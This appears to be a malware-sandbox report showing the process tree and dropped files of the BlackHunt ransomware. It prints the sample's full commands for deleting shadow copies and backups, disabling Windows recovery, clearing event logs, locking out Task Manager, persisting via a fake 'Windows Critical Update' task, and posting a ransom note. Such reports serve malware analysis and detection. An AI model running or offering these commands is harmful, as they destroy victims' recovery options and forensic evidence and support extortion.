                                        2⤵
                                          PID:4316
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:3752
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:2580
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:3336
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:1336
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:4468
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:1980
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:868
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:1548
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:3224
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:852
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:5008
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:4176
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:1944
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:936
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:1996
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:208
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:2416
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:4980
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:740
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:640
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:4968
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                    2⤵
                                                                                      PID:3348
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                        3⤵
                                                                                          PID:980
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                        2⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:2256
                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                          3⤵
                                                                                          • Enumerates connected drives
                                                                                          • Interacts with shadow copies
                                                                                          PID:3276
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe" /F
                                                                                        2⤵
                                                                                          PID:1776
                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                            SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe" /F
                                                                                            3⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:4264
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                          2⤵
                                                                                            PID:3332
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                                PID:3180
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                              2⤵
                                                                                                PID:2272
                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                  3⤵
                                                                                                  • Enumerates connected drives
                                                                                                  • Interacts with shadow copies
                                                                                                  PID:3256
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                2⤵
                                                                                                  PID:4712
                                                                                                  • C:\Windows\system32\vssadmin.exe
                                                                                                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                    3⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:7988
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                  2⤵
                                                                                                    PID:2444
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                      3⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:224
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                    2⤵
                                                                                                      PID:1340
                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                        vssadmin.exe Delete Shadows /all /quiet
                                                                                                        3⤵
                                                                                                        • Interacts with shadow copies
                                                                                                        PID:3476
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                      2⤵
                                                                                                        PID:3188
                                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                                          bcdedit /set {default} recoveryenabled No
                                                                                                          3⤵
                                                                                                          • Modifies boot configuration data using bcdedit
                                                                                                          PID:7804
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                        2⤵
                                                                                                          PID:5060
                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                            bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                            3⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:9144
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                          2⤵
                                                                                                            PID:3976
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              3⤵
                                                                                                                PID:4468
                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                3⤵
                                                                                                                • Deletes NTFS Change Journal
                                                                                                                PID:8632
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                              2⤵
                                                                                                                PID:2020
                                                                                                                • C:\Windows\system32\wbadmin.exe
                                                                                                                  wbadmin.exe delete catalog -quiet
                                                                                                                  3⤵
                                                                                                                  • Deletes backup catalog
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:1392
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                2⤵
                                                                                                                  PID:996
                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                    3⤵
                                                                                                                      PID:8616
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                    2⤵
                                                                                                                      PID:11088
                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                        fsutil usn deletejournal /D F:\
                                                                                                                        3⤵
                                                                                                                        • Enumerates connected drives
                                                                                                                        PID:15392
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                      2⤵
                                                                                                                        PID:10060
                                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                                          fsutil usn deletejournal /D C:\
                                                                                                                          3⤵
                                                                                                                            PID:15408
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                          2⤵
                                                                                                                            PID:13892
                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                              fsutil usn deletejournal /D M:\
                                                                                                                              3⤵
                                                                                                                              • Enumerates connected drives
                                                                                                                              PID:15428
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                            2⤵
                                                                                                                              PID:15452
                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                wevtutil.exe cl Setup
                                                                                                                                3⤵
                                                                                                                                • Clears Windows event logs
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:15716
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                              2⤵
                                                                                                                                PID:15476
                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                  wevtutil.exe cl System
                                                                                                                                  3⤵
                                                                                                                                  • Clears Windows event logs
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:15812
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                2⤵
                                                                                                                                  PID:15532
                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                    wevtutil.exe cl Application
                                                                                                                                    3⤵
                                                                                                                                    • Clears Windows event logs
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:15928
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                  2⤵
                                                                                                                                    PID:15612
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl Security
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:15808
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                    2⤵
                                                                                                                                      PID:15592
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl Security /e:false
                                                                                                                                        3⤵
                                                                                                                                        • Clears Windows event logs
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:15728
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                      2⤵
                                                                                                                                        PID:15772
                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                          3⤵
                                                                                                                                          • Interacts with shadow copies
                                                                                                                                          PID:16256
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                        2⤵
                                                                                                                                          PID:15896
                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                                            3⤵
                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                            PID:16596
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                          2⤵
                                                                                                                                            PID:15940
                                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                                              bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                              3⤵
                                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                                              PID:16752
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                            2⤵
                                                                                                                                              PID:15680
                                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                                fsutil.exe usn deletejournal /D C:
                                                                                                                                                3⤵
                                                                                                                                                • Deletes NTFS Change Journal
                                                                                                                                                PID:16948
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                              2⤵
                                                                                                                                                PID:16008
                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                  schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                  3⤵
                                                                                                                                                    PID:16932
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                  2⤵
                                                                                                                                                    PID:15988
                                                                                                                                                    • C:\Windows\system32\wbadmin.exe
                                                                                                                                                      wbadmin.exe delete catalog -quiet
                                                                                                                                                      3⤵
                                                                                                                                                      • Deletes backup catalog
                                                                                                                                                      PID:16772
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                    2⤵
                                                                                                                                                      PID:16092
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                        3⤵
                                                                                                                                                          PID:16940
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                        2⤵
                                                                                                                                                          PID:16144
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                            3⤵
                                                                                                                                                              PID:16920
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                            2⤵
                                                                                                                                                              PID:16216
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:16872
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:16264
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:17040
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:16376
                                                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                                                        taskkill /IM mshta.exe /f
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                        PID:16888
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:16344
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:17056
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:16472
                                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                                              notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:16856
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                              PID:16552
                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:17204
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 17204 -s 1388
                                                                                                                                                                                    4⤵
                                                                                                                                                                                    • Program crash
                                                                                                                                                                                    PID:17368
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:16672
                                                                                                                                                                                  • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                    ping 127.0.0.1 -n 5
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                    PID:16064
                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                PID:4324
                                                                                                                                                                              • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                C:\Windows\system32\vssvc.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:4748
                                                                                                                                                                              • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:5408
                                                                                                                                                                              • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:9020
                                                                                                                                                                                • C:\Windows\System32\vds.exe
                                                                                                                                                                                  C:\Windows\System32\vds.exe
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                  PID:5760
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 17204 -ip 17204
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:17320

                                                                                                                                                                                  Network

                                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                  Downloads

                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    1KB

                                                                                                                                                                                    MD5

                                                                                                                                                                                    bdb66b94ac75c4de76fc27ca22bc6044

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    5037154a9cefe0e4093b0fc7bd4d9734d728a09c

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    35eb43e6a18f50ba82b3df9784cd5fb89d929af52acc1b164bc7e986ca6a57b8

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    417130bdd0758d79b9c00a26f23c716ef27f90c578979106497eed45b6ec71fffb14bb69043160ec0a76dac57cd881bf122b482f3fc527ea8da9c59279ff2dfb

                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    12KB

                                                                                                                                                                                    MD5

                                                                                                                                                                                    44bdc7735403454a5517ba3c80082c54

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    7bad71dd70e326e476991ca336bd8ae1e3430733

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    81c79e579a690b4888bd9f1b1bc5c14d6db9bd6cd31db6f6d9f5fdcbab8b0b80

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    7f6dc7b5898c922f1aad1d073a6c802e6c3f3812b75e477b2fd4be8c56d9ff4b7684c6a9724b458aa0c7ad34bba1eb09b8898c54145dfe629dfc293182471f15

                                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                    Filesize

                                                                                                                                                                                    684B

                                                                                                                                                                                    MD5

                                                                                                                                                                                    2ae8b0b350c19d4452384534a5a76be1

                                                                                                                                                                                    SHA1

                                                                                                                                                                                    2a89e147171d158a146de351e8720b7f3679ca26

                                                                                                                                                                                    SHA256

                                                                                                                                                                                    d90673da2ab908072fd67213238524377d6d2db1586848fc27ac807e2b30c09f

                                                                                                                                                                                    SHA512

                                                                                                                                                                                    26495483397f392b092c37ec4c114fb7ef8783fc39ce9f0c36b69bcca1e9309b39c4b82366ad559b3e63555b7a468fa630716e4a8000cb954ecb2a69100e83f2